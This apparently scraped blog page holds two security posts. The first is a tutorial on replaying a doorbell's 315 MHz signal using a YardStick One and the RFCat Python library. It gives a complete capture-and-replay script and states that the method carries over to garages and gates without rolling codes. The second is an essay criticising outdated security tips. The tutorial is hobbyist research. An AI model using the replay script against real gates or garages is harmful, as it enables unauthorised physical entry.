Grade One Homework

Mrs. King - School Year 2010-2011

Saturday, January 20, 2024

Hacking Everything With RF And Software Defined Radio - Part 2

YardStick One Unleashed, Automating RF Attacks In Python - An RFCat Primer 


I decided to dive into our current device a bit more before moving on to a new device, and really ramp up the skillsets with RFCat and the Yardstick.  So for this blog you will need our previous Target and a Yardstick One. We will be hacking everyting using only the Yardstick and Python.
If your really bored and want to follow me:
Twitter: @Ficti0n
Site: cclabs.io or consolecowboys.com


Purchase Devices needed to follow this blog series: 

Target 1:(from the last blog)
https://goo.gl/W56Eau 

YardStick One: (from the last blog)
https://goo.gl/wd88sr 


So last time we scanned for signals with GQRX and a Software Defined Radio device. We took the demodulated wave forms in Audacity and discerned what the binary representation of our wave forms were by decoding them manually. We then transferred those into a hex format that our yardstick understood.  However there is a way to do everything with our Yardstick. It will require a bit more understanding of the RFCat library, and a bit of python. 
This blog will be your RFCAT primer and coding tutorial, but don't be scared with the word "Programming" I will be using simple code, nothing complicated. So if your a programmer, tune out any coding explanation and understand RFCat, if your not a coder, then use this as a jumping point to start making some quick python scripts for hacking. 

Video Series PlayList Associated with this blog:






The first thing we did in our last blog after looking up the frequency was to open up GQRX and check if we can see our devices signals. As it turns out you can actually do this in python with RFCat. Which is really convenient if you left your Software Defined Radio dongle at home but happen to have access to a Yardstick. 

RFCat as a Spectrum Analyzer: 

In order to use RFCat as a spectrum analyzer we need to make sure we have RFcat installed and a few prerequisites such as python and PySide modules.  I actually did this inside of an Ubuntu VMware because Pyside was giving me issues on OSX and I didn't feel like trying to fix it. So If you spin up an ubuntu vm you can do the following to get things up and running.. 

Install Spectrum Analyzer PreReqs:
sudo pip install PySide
sudo apt-get install ipython

Plug in your adapter and type in the following: 
rfcat -r 
d.specan(315000000)

You will then see the below output of RFCat Specan running in the 315 MHz range. 
Click our doorbell, or trip the motion sensor and you will see a frequency spike as shown in the second picture. 
This is similar to what you saw in GQRX but all with your Yardstick and the Python RFCat library.  





So everything seems to be working and we can see our devices transmitting on the 315MHz frequency.  Unfortunately we have no record button on Spescan. This leaves us to dive a little deeper into RFCat. We will see what RFCat can do for us in the recording and sniffing capacity. 


Sniffing RF Data With The YardStick and Python: 

In RFCat there is a simple listening command in our interactive session which will give us an idea of what is being transmitted and in what type of data format we are recieving. When using GQRX we received a WAV file, but what does RFCat give us?  One thing I have realized over the years is programming is all about dealing with data in various formats and figuring out how to parse and use it in various implementations. So the first thing we have to figure out is what kind of data we are dealing with. 

Lets hop back into RFCat and set a few parameters so the yardstick knows to listen on 315MHz and to use ASK modulation.  The settings below should all be familiar from our last blog with an exception of "lowball" which configures the radio to use the lowest level of filtering. We basically want to see everything but may experience some noise by not filtering it out.. For example before you hit your doorbell button you may see random FF FF FF FF data outputted to the screen.

Below is the cmdline input needed and some example output. After all of our settings are in place we can use RF.listen() to start listening for everything in the 315000000 frequency range and have it output to the screen.  

After you set it up, you can press the button on your doorbell and you will receive the following output. We have lots of zeros and what might be some hex output. 

Destroy ficti0n$ rfcat -r


>>> d.setFreq(315000000)
>>> d.setMdmModulation(MOD_ASK_OOK)
>>> d.setMdmDRate(4800)
>>> d.setMaxPower()
>>> d.lowball()
>>> d.RFlisten()
Entering RFlisten mode...  packets arriving will be displayed on the screen
(press Enter to stop)

(1508637518.258) Received:  c000842139ce0000000000000021bdc218c631bdef00000000000000309ce10842109ce700000000000000109ce10842109ce70000000000000010def18c6318def780000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000  | ...!9........!....1.........0...B..............B..............c...........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns.................................................


If you hit "ENTER" in your terminal you will stop receiving packets and drop back into a python interactive terminal. If we take a look at the repeating pattern in the above output, it looks like some random patterns and then a repeating pattern of, 84e708421084e738.  If we convert that to binary we can compare with what we decoded WAV from our previous blog. 

Since we are already in a python terminal you can type the following to see the binary representation:

>>> bin(int("84e708421084e738",16))[2:]
'1000010011100111000010000100001000010000100001001110011100111000'

 Lets break that up into 8 bit bytes and compare it to our previous blogs binary, hmm its lot different then what we originally decoded the signal to be: 
New: 10000100 11100111  00001000 01000010  00010000  10000100   11100111    00111000
Orig:  10111000 10001011 10111000 10001000  10001011   10111011   10000000

If we take the above capture data and format it correctly for RFcat with the replay code from the last blog.  When we send it over, it does indeed ring the doorbell, thats interesting. A completely different value in both hex and in binary and still we get a doorbell to ring. So the variance we talked about last time extends a bit more.  Below is the code with the new hex from the capture data:

from rflib import * 

d = RfCat()
d.setFreq(315000000)
d.setMdmModulation(MOD_ASK_OOK)
d.setMdmDRate(4800)

print "Starting"
d.RFxmit("\x84\xe7\x08\x42\x10\x84\xe7\x38\x00\x00\x00\x00\x00\x00"*10)
print 'Transmission Complete'


TroubleShooting Antenna Issues: 

I will also take a minute to note something before we continue. I had a little trouble at first when using a telescopic antenna in RFcat and the YardStick.  So I will list those issues below as notes for you to play with if you run into random looking captures when pressing your doorbell button. 
  • When using a telescopic antenna closed I had almost repeating output with some random bits flipped
  • When extending the antenna it went crazy output with random noise
  • I then used a small rubber ducky antenna and got the repeating output shown above. 

What we have done so far: 

So above, we managed to figure out the following all in RFCat 
  • Verify the frequency with RFCat
  • How can I listen for it and capture a transmission with RFCat
  • How can I send this transmission with RFCat


We have basically eliminated the immediate need for the graphical tools that we were using in the last blog. Not to say that they are not useful. They absolutely are, and we should use them often and know how to work with all kinds of formats and understand everything.. However, if we are living in a reality that all we have is a Yardstick and no other tools. We are not helpless and we can still kick some serious RF butt. 

Now we are going to take this a bit further so we can learn some more about RFCat, Python and mistakes  I made when trying to automate this stuff. I found some interesting quirks I had to work through and I would like to save others some time who are also in the learning process as I am. 

Using RFrecv() for Listening: 

Ok first thing I learned is that RFListen() is not all that useful when it comes to automating this stuff. I tried to set its output to a variable but that did not seem to work.. So instead we will be working with another feature that lets us listen and that is RFrecv().  If we fire up our RFCat in the terminal again we can give that a try: 

Destroy:~ ficti0n$ rfcat -r
>>> d.setFreq(315000000)
>>> d.setMdmModulation(MOD_ASK_OOK)
>>> d.setMdmDRate(4800)
>>> d.setMaxPower()
>>> d.lowball()
>>> d.RFrecv()
Traceback (most recent call last):
  File "", line 1, in
  File "/Library/Python/2.7/site-packages/rflib/chipcon_nic.py", line 1376, in RFrecv
    data = self.recv(APP_NIC, NIC_RECV, timeout)
  File "/Library/Python/2.7/site-packages/rflib/chipcon_usb.py", line 664, in recv
    raise(ChipconUsbTimeoutException())
ChipconUsbTimeoutException: Timeout waiting for USB response.


OK thats not cool we are getting a weird error if we don't get a signal right away regarding ChipconUsbTimeoutException.  

No problem since we are in a python terminal we can just capture this exception and pass it, then continue with sniffing.  This is done with a Try/Except block. 

try:
...     d.RFrecv()
... except ChipconUsbTimeoutException:
...     pass
...


That looks a little better, I am no longer receiving errors, but lets put this in a loop so we are continuously listening with RFrecv() and press our doorbell so we can capture our doorbell signal.  Below is the output of a random signal that came in followed by our doorbell.. but its all kinds of crazy looking and a bit hard to read: 

try:
...     d.RFrecv()
... except ChipconUsbTimeoutException:
...     pass
...
while True:
...     try:
...             d.RFrecv()
...     except ChipconUsbTimeoutException:
...             pass



Lets try to fix the output a little and make it more readable by encoding it before we view it. Open up your text editor and use the following code.  What we are doing here is simply setting up our listener as we did before and then setting it to a variable we can use. 

Line 12: Setting our RFrecv() output to the variable y and z. The y variable is the output that we want 
Line 13: We will wrap the y variable with an encode function to encode it with a HEX encoding. 
Line 14: After that we just print it out. 




When we run this script from the command line we will get a much nicer output shown below, much like we did with the RFlisten function above. The big difference being that our data is now set to the variable "capture"  on line 13 and we can do what we want with that data. For example we can directly replay that data rather then manually performing the actions.  




Parsing and replaying data: 

This actually took me a bit of time to figure out, so we need to do a few things to get this to work: 
  • We need to parse out the data from the surrounding 0s
  • We need to convert it to a format we can send (tricker then it sounds) 
  • We need to add padding and send that data over (We know how to do this already) 


Parsing Data: 

So with this I first tried all kinds of regular expressions, but for some reason the inverse of more then 3 zeros in a row does not seem to work. I am no regex master but that seemed like it should be working. I then tried a few creative solutions reducing repeating zeros down to pairs that I could split on with string functions. This actually worked well but then my buddy showed me this which was more efficient: 

re.split ('0000*', capture)

All this is doing is using the regex library to parse on a set of 4 or more zeros  and return whats left in a list of useable hex data for sending.  So lets add that into our code and give it a try to see what we get back.  I made the following code changes: 

Line 2: Import the Regex library
Line 11: We defined the capture variable so we can access it outside of the Try Block and the loop
Line 21: We created a payloads variable and created a list from the capture file of non 0000 blocks
Line 22: We print out our list of useable payloads which can been seen in the below output




Data Format Woes:

So we have data in a list we can pull from, thats awesome but I ran into a few issues. I first tried to parse this data into the \x format we normally used when sending our attack payloads manually, but that actually does not work. Reason being that if I use a code snippet like the following to convert this data into the right format everything looks ok and something like this \x84\xe7\x08\x42\x10\x84\xe7. But it won't actually work when I send it with RFCat. For some reason when you paste in your own hex its in a different format then if you programmatically create hex like below.  You don't really need to understand the code below, just know it takes our payload and creates the hex in a visual format to what we used in the last blog: 

DON'T USE THIS.. IT WONT WORK!!! 
for payload in payloads: 
    formatted = ""
    if (len(payload) > 6) and (len(payload) % 2 == 0):
    
        print "Currently being formatted: " + payload 
        iterator = iter(payload)
        for i in iterator:
            formatted += ('\\x'+i + next(iterator))
    else:
        continue

 Formatted Hex Vs Manually Pasted Hex
So lets compare the outputs of our manually created Hex String versus what we get when we format with the above code 
Below is the output of the following:
  • Your encoded capture
  • Your parsed payloads in a nice list
  • Your payload being processed into hex. 
But this is where things go wrong, you then have :
  • Your nicely formatted Hex created by your code above (Yay for us) 
  • Then you have your manually pasted in hex from your original attack payloads as unprintable characters  (What?)




 You can clearly see there is a major difference between when we manually paste in our hex like we did in the last blog and when we create it from our capture file.  This led to another sleepless night of researching whats going on. I did a bunch of troubleshooting until I found some code on the RFcat site and saw it using the BitString library and something called BitArray.  The examples for this library were using binary data instead of hex and then converting it. 


BitString BitArray Formating FTW: 

If you remember above we created binary input with some python, so lets use that code in our current program template and then feed it into byteArray and see what happens. We can install bitstring with the following: 

Install Bitstring:
sudo pip install bitstring

Our New code using BitString: 
Line 2:   I imported bitstring
Line 25: I added a for loop to go through our payload list one by one
Line 27: I convert our current payload to binary
Line 28: I take that binary and I feed it into bitstring to fix the formatting issues
Lines 29-30:  Print out our binary and our new data that match our manually pasted data format, shown below




With these conversions the data above looks like its correct to attack our target devices. I know this seems like a lot of steps, but honestly this is only 50 lines of code in all to automate our replay attacks in a simple way.  It is also very easy if you know what your doing and don't spend all of your time figuring it out like I did.  You just need to understand how to work with the types of data each component understands. 

With this latest code update we are ready to send our code with a simple modification to our RFxmit line from the last blog. We will now change RXxmit to take our formatted variable and then append our padding: 

d.RFxmit((formated+"\x00\x00\x00\x00\x00\x00")*10)


Below is our full code to automate this attack, with a few changeups, but not many.. Really all I did was add some conditional statements to limit our data to longer payloads that are divisible by 2 since our hex takes 2 string characters for example \x41 is the string character 4 and 1.  I originally did this for the iterator code which required the proper amount of characters but decided to leave it since it makes sense anyway.  I also set it so that if there is a capture it breaks out of the loop. This way we are not continuously attacking every transmission we see. Instead for our testing we can hit our doorbell, replay all the values before our script finishes and exits. 


Note: I sent similar code to a friend and had him run it against a black box real world target. He had permission to attack this target via the owner of a facility and it worked flawlessly.  So although a doorbell is a trivial target. This same research applies to garages, gates, and any other signal not using protection mechanism such as rolling code, multiple frequencies at once etc.

Also note that when you run this, almost all of the payloads in your list will ring the doorbell which is why I put a timing variable before the sending command. This way your doorbell isn't overburdened. I already broke a few of these devices during testing LOL. 
I have since modified this code to be more effective, and have additional features and more niceties, I will release that code when its ready.. For now enjoy the below code and hit me up with any questions or comments.


#—————YardStick_InstantReplay_SimpleVersion.py ----------#
# @Ficti0n
# http://consolecowboys.com 
from rflib import *
import time
import re
import bitstring

print("Listening for them signals in ASK")
d = RfCat()
d.setFreq(315000000)
d.setMdmModulation(MOD_ASK_OOK)
d.setMdmDRate(4800)
d.setMaxPower()
d.lowball()

#-----------Start Capture 1 Transmission ----------#
capture = ""
while (1):
    try:
        y, z = d.RFrecv()
        capture = y.encode('hex')
        print capture
        
    except ChipconUsbTimeoutException: 
        pass
    if capture:
        break

#Parse Hex from the capture by reducing 0's
payloads = re.split ('0000*', capture)
print payloads

#----------Start Parse and Create Payload---------#
for payload in payloads: 
    
    formated = ""
    if (len(payload) > 6) and (len(payload) % 2 == 0):
        print "Currently being formatted to binary: " + payload 
        binary = bin(int(payload,16))[2:]
        print binary
        print "Converting binary to bytes: "
        formatted = bitstring.BitArray(bin=(binary)).tobytes()
    else:
        continue

#------------Send Transmission--------------------#
    time.sleep(2)
    print "Sending bytes with padding"
    d.RFxmit((formatted+"\x00\x00\x00\x00\x00\x00")*10)
    print 'Transmission Complete'


Thats All Folks, Whats Next: 


I hope this blog is helpful in demystifying RFCat in order to successfully perform/automate attacks with only Python and your Yardstick One. This is essentially a few nights of my research posted here for everyone to learn from. Because it was a pain to find useful information, and I would like to save other people a lot of sleepless nights. I am by no means the master of RF or RFCat, there is tons more to learn.  Up next I will get back on track with a real world attack against a device and creating our own keyfobs to replay our attacks in the future. 
Related word
Posted by 1st Grade Homework at 9:25 PM

One Reason Why InfoSec Sucked In The Past 20 Years - The "Security Tips" Myth

From time to time, I get disappointed how much effort and money is put into securing computers, networks, mobile phones, ... and yet in 2016 here we are, where not much has changed on the defensive side. There are many things I personally blame for this situation, and one of them is the security tips.

The goal of these security tips is that if the average user follows these easy to remember rules, their computer will be safe. Unfortunately, by the time people integrate these rules into their daily life, these rules either become outdated, or these rules were so oversimplified that it was never true in the first place. Some of these security tips might sound ridiculous to people in InfoSec nowadays, but this is exactly what people still remember because we told them so for years.

PDF is safe to open

This is an oldie. I think this started at the time of macro viruses. Still, people think opening a PDF from an untrusted source is safer than opening a Word file. For details why this is not true, check: https://www.cvedetails.com/vulnerability-list/vendor_id-53/product_id-497/Adobe-Acrobat-Reader.html
On an unrelated note, people still believe PDF is integrity protected because the content cannot be changed (compared to a Word document).
Image stolen from Kaspersky

Java is secure

One of the best ones. Oracle started marketing Java as a safe language, where buffer overflows, format strings and pointer-based vulnerabilities are gone. Unfortunately, they forgot to tell the world that instead of "unsafe programs developed by others" they installed their unsafe program on 3 billion devices. 

Stay away from rogue websites and you will be safe

This is a very common belief I hear from average people. "I only visit some trusted news sites and social media, I never visit those shady sites." I have some bad news. At the time of malvertising and infected websites, you don't have to visit those shady sites anymore to get infected.

Don't use open WiFi

I have a very long explanation of why this makes no sense, see here. Actually, the whole recommendation makes no sense as people will connect to public WiFis, no matter what we (InfoSec) recommend.

The password policy nightmare

Actually, this topic has been covered by myself in two blog posts, see here and here. Long story short: use a password manager and 2-factor authentication wherever possible. Let the password manager choose the password for you. And last but not least, corporate password policy sux.

Sites with a padlock are safe

We tell people for years that the communication with HTTPS sites are safe, and you can be sure it is HTTPS by finding a randomly changing padlock icon somewhere next to the URL. What people hear is that sites with padlocks are safe. Whatever that means. The same goes for WiFi - a network with a padlock is safe.

Use Linux, it is free from malware

For years people told to Windows users that only if they would use Linux they won't have so much malware. Thanks to Android, now everyone in the world can enjoy malware on his/her Linux machine.

OSX is free from malware

It is true that there is significantly less malware on OSX than on Windows, but this is an "economical" question rather than a "security" one. The more people use OSX, the better target it will become. Some people even believe they are safe from phishing because they are using a Mac!

Updated AV + firewall makes me 100% safe

There is no such thing as 100% safe, and unfortunately, nowadays most malware is written for PROFIT, which means it can bypass these basic protections for days (or weeks, months, years). The more proactive protection is built into the product, the better!

How to backup data

Although this is one of the most important security tips which is not followed by people, my problem here is not the backup data advise, but how we as a community failed to provide easy to use ways to do that. Now that crypto-ransomware is a real threat to every Windows (and some OSX) users, even those people who have backups on their NAS can find their backups lost. The only hope is that at least OSX has Time Machine which is not targeted yet, and the only backup solution which really works.
The worst part is that we even created NAS devices which can be infected via worms ...

Disconnect your computer from the Internet when not used

There is no need to comment on this. Whoever recommends things like that, clearly has a problem.

Use (free) VPN to protect your anonimity

First of all. There is no such thing as free service. If it is free, you are the service. On another hand, a non-free VPN can introduce new vulnerablities, and they won't protect your anonymity. It replaces one ISP with another (your VPN provider). Even TOR cannot guarantee anonymity by itself, and VPNs are much worse.

The corporate "security tips" myth

"Luckily" these toxic security tips have infected the enterprise environment as well, not just the home users.

Use robots.txt to hide secret information on public websites

It is 2016 and somehow web developers still believe in this nonsense. And this is why this is usually the first to check on a website for penetration testers or attackers.

My password policy is safer than ever

As previously discussed, passwords are bad. Very bad. And they will stick with us for decades ...

Use WAF, IDS, IPS, Nextgen APT detection hibber-gibber and you will be safe

Companies should invest more in people and less into magic blinking devices.

Instead of shipping computers with bloatware, ship computers with exploit protection software
Teach people how to use a password safe
Teach people how to use 2FA
Teach people how to use common-sense

Conclusion

Computer security is complex, hard and the risks change every year. Is this our fault? Probably. But these kinds of security tips won't help us save the world. 

Related news
Posted by 1st Grade Homework at 12:54 PM
Subscribe to: Posts (Atom)

Blog Archive